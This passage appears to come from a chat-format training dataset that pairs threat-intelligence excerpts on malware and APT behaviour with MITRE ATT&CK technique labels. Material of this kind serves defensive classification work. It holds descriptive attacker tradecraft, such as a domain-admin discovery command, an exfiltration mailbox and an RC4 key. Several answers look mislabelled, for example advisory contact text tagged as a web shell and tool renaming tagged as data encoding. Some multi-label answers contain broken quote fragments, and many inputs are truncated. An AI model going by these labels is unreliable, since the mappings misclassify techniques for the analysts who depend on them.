                "content": "can attempt to run the program as admin, then show a fake error message and a legitimate UAC bypass prompt to the user in an attempt to socially engineer the user into escalating privileges."
            },
            {
                "role": "assistant",
                "content": "T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Talos has uncovered documents that we assess with moderate confidence are associated with suspected persistent threat actor MuddyWater. MuddyWater has been active since at least November 2017 and has been known to primarily target entities in the Middle East. The \"Blackwater.bas\" macro was obfuscated using a substitution cipher whereby the characters are replaced with their corresponding integer. The clear text version of the crf.txt file closely resembled the PowerShell agent that was previously used by the MuddyWater actors when they targeted Kurdish political groups and organizations in Turkey. The screenshot below shows the first few lines of the PowerShell trojan. Notably, a number of the PowerShell commands used to enumerate the host appear to be derived from a GitHub projected called FruityC2. rCecms=BlackWater\". Notably, the trojanized document's macro was also called \"BlackWater,\" and the value \"BlackWater\" was hard coded into the PowerShell script. Most of the PowerShell commands would call Windows Management Instrumentation (WMI) and then query the following information"
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Lazarus Group malware uses cmd.exe to execute commands on victims."
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "This final payload is the ThreatNeedle loader running in memory. At this point the loader uses a different RC4 key (3D 68 D0 0A B1 0E C6 AF DD EE 18 8E F4 A1 D6 20), and the dropped malware is registered as a Windows service and launched"
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Turla has infected victims using watering holes."
            },
            {
                "role": "assistant",
                "content": "T1189 - Drive-by Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT28 has intentionally deleted computer files to cover their tracks, including with use of the program CCleaner."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has a command to collect the victim's IP address."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "As part of the anti-debugging or anti-monitoring techniques, ShellTea iterates over all the running processes, applies CRC32 on each process name (after converting the string to capital letters), and then compares the value against a predefined set of CRCs."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware used in a DUBNIUM attack is committed to disguising itself as Secure Shell (SSH) tool. The file descriptions and other properties of the malware look convincingly legitimate at first glance"
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Winnti for Linux has used a passive listener, capable of identifying a specific magic value before executing tasking, as a secondary command and control (C2) mechanism."
            },
            {
                "role": "assistant",
                "content": "T1205 - Traffic Signaling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ursnif droppers have used VBA macros to download and execute the malware's full executable payload."
            },
            {
                "role": "assistant",
                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has used exploits to increase their levels of rights and privileges."
            },
            {
                "role": "assistant",
                "content": "T1068 - Exploitation for Privilege Escalation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Operators deploying Netwalker have used batch scripts to retrieve the Netwalker payload."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "NotPetya can use \"wmic\" to help propagate itself across a network."
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT39 has utilized malicious VBS scripts in malware."
            },
            {
                "role": "assistant",
                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can delete files written to disk."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FIN6 has used \"kill.bat\" script to disable security tools."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT38 has identified security software, configurations, defensive tools, and sensors installed on a compromised system."
            },
            {
                "role": "assistant",
                "content": "T1518.001 - Software Discovery: Security Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SHARPSTATS has the ability to employ a custom PowerShell script."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Bankshot generates a false TLS handshake using a public certificate to disguise C2 network communications."
            },
            {
                "role": "assistant",
                "content": "T1001.003 - Protocol or Service Impersonation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Note: CTU researchers frequently observe threat actors renaming archiving tools and storing data for exfiltration in uncommon directories"
            },
            {
                "role": "assistant",
                "content": "T1132 - Data Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Lurid can compress data before sending it."
            },
            {
                "role": "assistant",
                "content": "T1560 - Archive Collected Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "spwebmember is used to enumerate and dump information from Microsoft SharePoint."
            },
            {
                "role": "assistant",
                "content": "T1213.002 - Sharepoint"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Many fields in the installation program are forged into Acrobat Reader installation program, and the interface after running is related to Acrobat Reader"
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Frankenstein has used spearphishing emails to send trojanized Microsoft Word documents."
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "1) Cannon gathers system information and saves it to a file named ini. The Trojan sends an email to sahro.bella7[at]post.cz with i.ini as the attachment, S_inf within the body and a subject with a unique system identifier via SMTPS from one of the following accounts: Bishtr.cam47 Lobrek.chizh Cervot.woprov 2) Bishtr.cam47 3) Lobrek.chizh 4) Cervot.woprov"
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Kerrdown has gained execution through victims opening malicious links."
            },
            {
                "role": "assistant",
                "content": "T1204.001 - Malicious Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Extract the encoded payload. Decrypt the extracted payload. This uses the AES algorithm in CBC mode. Decompress the decrypted payload. This uses the LZMA algorithm. Decrypt the decompressed payload. This is simple XOR with byte key and as such does not impact compression ratio. Execute the decrypted payload as shellcode"
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information', 'T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has exploited the CVE-2016-0167 local vulnerability."
            },
            {
                "role": "assistant",
                "content": "T1068 - Exploitation for Privilege Escalation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "It also checks for the existence of various tools and utilities that malware analysts often run when analyzing malicious software. It also leverages Structured Exception Handling (SEH) to patch its own code. These measures are all designed to impede the analysis process and make it more expensive to identify what the malware is actually designed to do from a code execution flow perspective. Below the EAX register is stored in a variable to be reused later in order to allocate a heap memory chunk to initiate its own unpacked code. The malware also uses others techniques to make analysis significantly more difficult, like creating hundreds of case comparisons, which makes tracing code much harder. Below an example of several if conditional statements in pseudo code demonstrating this process and how it can result in impeding the ability to efficiently trace the code. In order to decrypt the malware code it's installs an exception handler, which is responsible for decrypting some memory bytes to continue it's execution. Below you can see the SEH has just been initialized: In the same routine, it performs the decryption routine for the following code. The strings are encrypted using an XOR value, however each string uses a separate XOR value preventing an easy detection mechanism. Below is some IDA Python code which can be used to decrypt strings"
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "As a previous write-up on H1N1 by Arbort Networks describes, the LINK command in this instance results in H1N1 downloading and executing a file from a remotely hosted URL using WinINet HTTP requests. The loader also has the functionality of downloading and executing a base64 encoded file contained in the response from the command and control server via the FILE command"
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Dtrack can retrieve browser history."
            },
            {
                "role": "assistant",
                "content": "T1217 - Browser Bookmark Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "OilRig has a tool called CANDYKING to capture a screenshot of user's desktop."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Some  malware uses multiple channels for C2, such as RomeoWhiskey-Two, which consists of a RAT channel that parses data in datagram form and a Proxy channel that forms virtual point-to-point sessions."
            },
            {
                "role": "assistant",
                "content": "T1026 - Multiband Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "When executed, Kwampirs decrypts and extracts a copy of its main DLL payload from its resource section. Before writing the payload to disk, it inserts a randomly generated string into the middle of the decrypted payload in an attempt to evade hash-based detections"
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information', 'T1027.001 - Obfuscated Files or Information: Binary Padding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT32 malware has injected a Cobalt Strike beacon into Rundll32.exe."
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Axiom has used RDP during operations."
            },
            {
                "role": "assistant",
                "content": "T1021.001 - Remote Services: Remote Desktop Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat Group-3390 has performed DLL search order hijacking to execute their payload."
            },
            {
                "role": "assistant",
                "content": "T1574.001 - Hijack Execution Flow: DLL Search Order Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An  loader Trojan adds the Registry key HKCU\\Environment\\UserInitMprLogonScript to establish persistence."
            },
            {
                "role": "assistant",
                "content": "T1037 - Boot or Logon Initialization Scripts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "malware uses PowerShell and WMI to script data collection and command execution on the victim."
            },
            {
                "role": "assistant",
                "content": "T1064 - Scripting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ccf32 can run on a daily basis using a scheduled task."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ryuk has called \"CreateToolhelp32Snapshot\" to enumerate all running processes."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Valak can determine the Windows version and computer name on a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat Group-3390 has exploited the Microsoft SharePoint vulnerability CVE-2019-0604 and CVE-2021-26855, CVE-2021-26857, CVE-2021-26858, and CVE-2021-27065 in Exchange Server."
            },
            {
                "role": "assistant",
                "content": "T1190 - Exploit Public-Facing Application"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ShimRat can be issued a command shell function from the C2."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Bandook can collect local files from the system ."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "creates a backdoor through which remote attackers can obtain data from local systems."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "used a cron job for persistence on Mac devices."
            },
            {
                "role": "assistant",
                "content": "T1053 - Scheduled Task/Job"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "To report an intrusion and request resources for incident response or technical assistance, you are encouraged to contact DHS NCCIC (NCCICCustomerService@hq.dhs.gov or 888-282-0870), the FBI through a local field office, or the FBI’s Cyber Division (CyWatch@fbi.gov or 855-292-3937).Protect Against SQL Injection and Other Attacks on Web ServicesTo protect against code injections and other attacks, system operators should routinely evaluate known and published vulnerabilities, periodically perform software updates and technology refreshes, and audit external-facing systems for known web application vulnerabilities"
            },
            {
                "role": "assistant",
                "content": "T1505.003 - Server Software Component: Web Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Send exfiltrated data   taskkill.exe Ends working cycle of modules    Persistence Persistence modules are based on scheduled tasks and system registry"
            },
            {
                "role": "assistant",
                "content": "T1053 - Scheduled Task/Job', 'T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Dragonfly 2.0 has gathered hashed user credentials over SMB using spearphishing attachments with external resource links and by modifying .LNK file icon resources to collect credentials from virtualized systems."
            },
            {
                "role": "assistant",
                "content": "T1187 - Forced Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Turla has used \"net group \"Domain Admins\" /domain\" to identify domain administrators."
            },
            {
                "role": "assistant",
                "content": "T1069.002 - Permission Groups Discovery: Domain Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The results are Gzipped and saved under random file in the temp folder. Following successful collection of information, the data is send back to the C2 and the file is deleted"
            },
            {
                "role": "assistant",
                "content": "T1074.001 - Data Staged: Local Data Staging', 'T1560.001 - Archive Collected Data: Archive via Utility"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The library used to hide Winnti’s system activity is a copy of the open-source userland rootkit Azazel¹⁰, with minor changes. When executed, it will register symbols for multiple commonly used functions, including: open(), rmdir(), and unlink(), and modify their returns to hide the malware’s operations"
            },
            {
                "role": "assistant",
                "content": "T1014 - Rootkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TinyTurla can install itself as a service on compromised machines."
            },
            {
                "role": "assistant",
                "content": "T1569.002 - System Services: Service Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "scanned the “Program Files” directories for a directory with the string “Total Security” (the installation path of the “360 Total Security” antivirus tool)."
            },
            {
                "role": "assistant",
                "content": "T1518.001 - Software Discovery: Security Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Bazar can identify the installed antivirus engine."
            },
            {
                "role": "assistant",
                "content": "T1518.001 - Software Discovery: Security Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Stuxnet enumerates removable drives for infection."
            },
            {
                "role": "assistant",
                "content": "T1120 - Peripheral Device Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "installs itself under Registry Run key to establish persistence."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After decrypting itself in memory, RARSTONE downloads a DLL file from its C2 server and loads it in the memory space of a hidden Internet Explorer process. This “downloaded” file is actually not dropped onto the system."
            },
            {
                "role": "assistant",
                "content": "T1055.001 - Process Injection: Dynamic-link Library Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can use WMI queries to retrieve data from compromised hosts."
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In Carbanak attacks, the groups’ attacks can involve logging into services that accept remote connections and using stolen password hashes through the “pass the hash” method"
            },
            {
                "role": "assistant",
                "content": "T1550.002 - Use Alternate Authentication Material: Pass the Hash', 'T1110.002 - Brute Force: Password Cracking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Dragonfly has used batch scripts to enumerate users on a victim domain controller."
            },
            {
                "role": "assistant",
                "content": "T1087.002 - Account Discovery: Domain Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The RIPTIDE exploit document drops its executable file into the C:\\Documents and Settings\\{user}\\Application Data\\Location folder while the HIGHTIDE exploit document drops its executable file into the C:\\DOCUMENTS and SETTINGS\\{user}\\LOCAL SETTINGS\\Temp\\ folder"
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FIN8 has used FTP to exfiltrate collected data."
            },
            {
                "role": "assistant",
                "content": "T1048.003 - Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "obtains installer properties from Uninstall Registry Key entries to obtain information about installed applications and how to uninstall certain applications."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In recent weeks, TA551 has changed traffic patterns. 19, 2020, URLs generated by Word macros to retrieve installer binaries followed a noticeable pattern"
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "OSX/Keydnap uses a Tor2Web proxy for command and control. An installed launch agent, icloudproc, is automatically started by the OS, and listens on 127.0.0.1:9050. As noted by ESET, the main backdoor component (icloudsyncd) uses this proxy for communication purposes: “Keydnap is using the onion.to Tor2Web proxy over HTTPS to report back to its C&amp;C server"
            },
            {
                "role": "assistant",
                "content": "T1543.001 - Create or Modify System Process: Launch Agent"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Elderwood has encrypted documents and malicious executables."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Operation Wocao can use the \"ping\" command to discover remote systems."
            },
            {
                "role": "assistant",
                "content": "T1018 - Remote System Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "VaporRage has the ability to check for the presence of a specific DLL and terminate if it is not found."
            },
            {
                "role": "assistant",
                "content": "T1480 - Execution Guardrails"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
